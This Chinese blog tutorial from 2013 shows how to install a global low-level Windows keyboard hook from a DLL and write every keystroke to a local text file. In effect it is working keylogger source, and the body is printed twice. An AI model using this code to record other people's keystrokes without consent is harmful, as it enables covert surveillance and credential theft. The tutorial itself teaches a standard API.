使用windows挂钩监视键盘代码实现
2013-04-15 21:08
274 查看
编译环境VS2005
实现的功能很简单:
对于键盘的每一个输入:保存到文件中
实现原理:
安装全局键盘钩子
通过函数指针设置回调函数(用于将字符保存在文件中)
细化成以下几步
1 生成一个win32 dll工程(工程名为testdll,生成的dll为testdll.dll)
主要用于导出两个函数 一个是用于设置键盘钩子 一个是用于设置回调函数(用于得知键盘消息后进行执行)
2 接下来生成一个windows工程 使用上一个工程生成的dll,设置键盘钩子以及键盘消息回调函数,然后进行消息循环。程序退出这循环终止,钩子也就释放了。
//1
#ifdef TEST_API
#define TEST_API __declspec(dllexport)
#else
#define TEST_API __declspec(dllimport)
#endif
TEST_API BOOL setKeyBoardHook();
TEST_API BOOL clearAllHook();
typedef int (*FucOnKeyBoard)(long code, long scancode,long flags);
TEST_API void setHookFuncKeyBoard(FucOnKeyBoard ptFuc);
#undef TEST_API
TEST_API是宏开关 (在stdafx.h中定义这个宏)
//setKeyBoardHook函数实现
__declspec(dllexport) BOOL setKeyBoardHook()
{
if (hookkeyboard!=NULL)
{
return TRUE;
}
hookkeyboard = SetWindowsHookEx(WH_KEYBOARD_LL,KeyBoardProc,hInst,0);
if(hookkeyboard!=NULL)
{ /* success */
return TRUE;
}
return FALSE; // failed to set hook
}
// setHookFuncKeyBoard函数实现
__declspec(dllexport) void setHookFuncKeyBoard(FucOnKeyBoard ptFuc)
{
g_ptfuckeyboard = ptFuc;//g_ptfuckeyboard为全局变量
}
KeyBoardProc函数
static LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wparam,LPARAM lparam)
{
if(nCode>=0)
{
LPKBDLLHOOKSTRUCT pKeyBoardHook =(LPKBDLLHOOKSTRUCT)lparam;
//如果截获到键盘消息就利用函数指针传递
if(g_ptfuckeyboard)
{
g_ptfuckeyboard(pKeyBoardHook->vkCode,pKeyBoardHook->scanCode,pKeyBoardHook->flags);
}
}
return CallNextHookEx(hookkeyboard,nCode,wparam,lparam);
}
//编译生成testdll.dll testdll.lib
//2
导入dll 添加testdll.h头文件
并且添加#pragma comment(lib, "testdll.lib")来导入库文件
定义键盘消息处理函数,
在初始化窗口之前调用两个函数
设置键盘钩子
设置回调函数
键盘回调函数的实现
int KeyboardRecord(long code,long scancode,long flags)
{
FILE* fp=NULL;
if((fp=fopen("c:\\1.txt","a"))==NULL)
{
exit(1);
}
static int i = 0;
if(i%2==0)
{
fprintf(fp,"%c",(char)code);//由于每个键有两个消息 按上和按下 所以会重复打印,因而我去两个中一个)
}
i++;
fclose(fp);
return 0;
}
然后在win32工程向导中添加如下三句代码
//设置钩子
BOOL bKeyboard;
if((bKeyboard=setKeyBoardHook())==TRUE)
setHookFuncKeyBoard(KeyboardRecord);
然后运行程序就可以监视键盘输入
键盘输入的值在c:\\1.txt中可以看到
测试代码如下:
http://download.csdn.net/detail/learniting/5261544
实现的功能很简单:
对于键盘的每一个输入:保存到文件中
实现原理:
安装全局键盘钩子
通过函数指针设置回调函数(用于将字符保存在文件中)
细化成以下几步
1 生成一个win32 dll工程(工程名为testdll,生成的dll为testdll.dll)
主要用于导出两个函数 一个是用于设置键盘钩子 一个是用于设置回调函数(用于得知键盘消息后进行执行)
2 接下来生成一个windows工程 使用上一个工程生成的dll,设置键盘钩子以及键盘消息回调函数,然后进行消息循环。程序退出这循环终止,钩子也就释放了。
//1
#ifdef TEST_API
#define TEST_API __declspec(dllexport)
#else
#define TEST_API __declspec(dllimport)
#endif
TEST_API BOOL setKeyBoardHook();
TEST_API BOOL clearAllHook();
typedef int (*FucOnKeyBoard)(long code, long scancode,long flags);
TEST_API void setHookFuncKeyBoard(FucOnKeyBoard ptFuc);
#undef TEST_API
TEST_API是宏开关 (在stdafx.h中定义这个宏)
//setKeyBoardHook函数实现
__declspec(dllexport) BOOL setKeyBoardHook()
{
if (hookkeyboard!=NULL)
{
return TRUE;
}
hookkeyboard = SetWindowsHookEx(WH_KEYBOARD_LL,KeyBoardProc,hInst,0);
if(hookkeyboard!=NULL)
{ /* success */
return TRUE;
}
return FALSE; // failed to set hook
}
// setHookFuncKeyBoard函数实现
__declspec(dllexport) void setHookFuncKeyBoard(FucOnKeyBoard ptFuc)
{
g_ptfuckeyboard = ptFuc;//g_ptfuckeyboard为全局变量
}
KeyBoardProc函数
static LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wparam,LPARAM lparam)
{
if(nCode>=0)
{
LPKBDLLHOOKSTRUCT pKeyBoardHook =(LPKBDLLHOOKSTRUCT)lparam;
//如果截获到键盘消息就利用函数指针传递
if(g_ptfuckeyboard)
{
g_ptfuckeyboard(pKeyBoardHook->vkCode,pKeyBoardHook->scanCode,pKeyBoardHook->flags);
}
}
return CallNextHookEx(hookkeyboard,nCode,wparam,lparam);
}
//编译生成testdll.dll testdll.lib
//2
导入dll 添加testdll.h头文件
并且添加#pragma comment(lib, "testdll.lib")来导入库文件
定义键盘消息处理函数,
在初始化窗口之前调用两个函数
设置键盘钩子
设置回调函数
键盘回调函数的实现
int KeyboardRecord(long code,long scancode,long flags)
{
FILE* fp=NULL;
if((fp=fopen("c:\\1.txt","a"))==NULL)
{
exit(1);
}
static int i = 0;
if(i%2==0)
{
fprintf(fp,"%c",(char)code);//由于每个键有两个消息 按上和按下 所以会重复打印,因而我去两个中一个)
}
i++;
fclose(fp);
return 0;
}
然后在win32工程向导中添加如下三句代码
//设置钩子
BOOL bKeyboard;
if((bKeyboard=setKeyBoardHook())==TRUE)
setHookFuncKeyBoard(KeyboardRecord);
然后运行程序就可以监视键盘输入
键盘输入的值在c:\\1.txt中可以看到
测试代码如下:
http://download.csdn.net/detail/learniting/5261544
相关文章推荐
- 使用C#代码实现增加 windows 用户帐号
- JS实现不使用图片仿Windows右键菜单效果代码
- JS实现不使用图片仿Windows右键菜单效果代码
- 使用subversion实现虚拟机中linux和windows宿主机代码共享管理
- Phabricator结合Arcanist使用实现Pre-commit代码审核(Windows)
- 利用Python实现Windows下的鼠标键盘模拟的实例代码
- 使用subversion实现虚拟机中linux和windows宿主机代码共享管理
- Javascript 键盘事件的组合使用实现代码
- 在windows下修改右键菜单以实现使用vs2010快速编译代码
- 在windows下修改右键菜单以实现使用vs2010快速编译代码
- Javascript 键盘事件的组合使用实现代码
- 使用cygwin X server实现Linux远程桌面 (for windows)
- c#使用Lucene.net创建索引,实现搜索的代码示例
- 使用JAVA代码实现字符串的简单拼接
- php中使用array_filter()函数过滤空数组的实现代码
- windows下使用批处理实现切换JDK环境变量
- 使用Auto Layout中的VFL(Visual format language)--代码实现自动布局
- 使用Hibernate tools,实现将数据表生成注解型代码(全解)
- windows下使用TortoiseGit在Git@OSC代码托管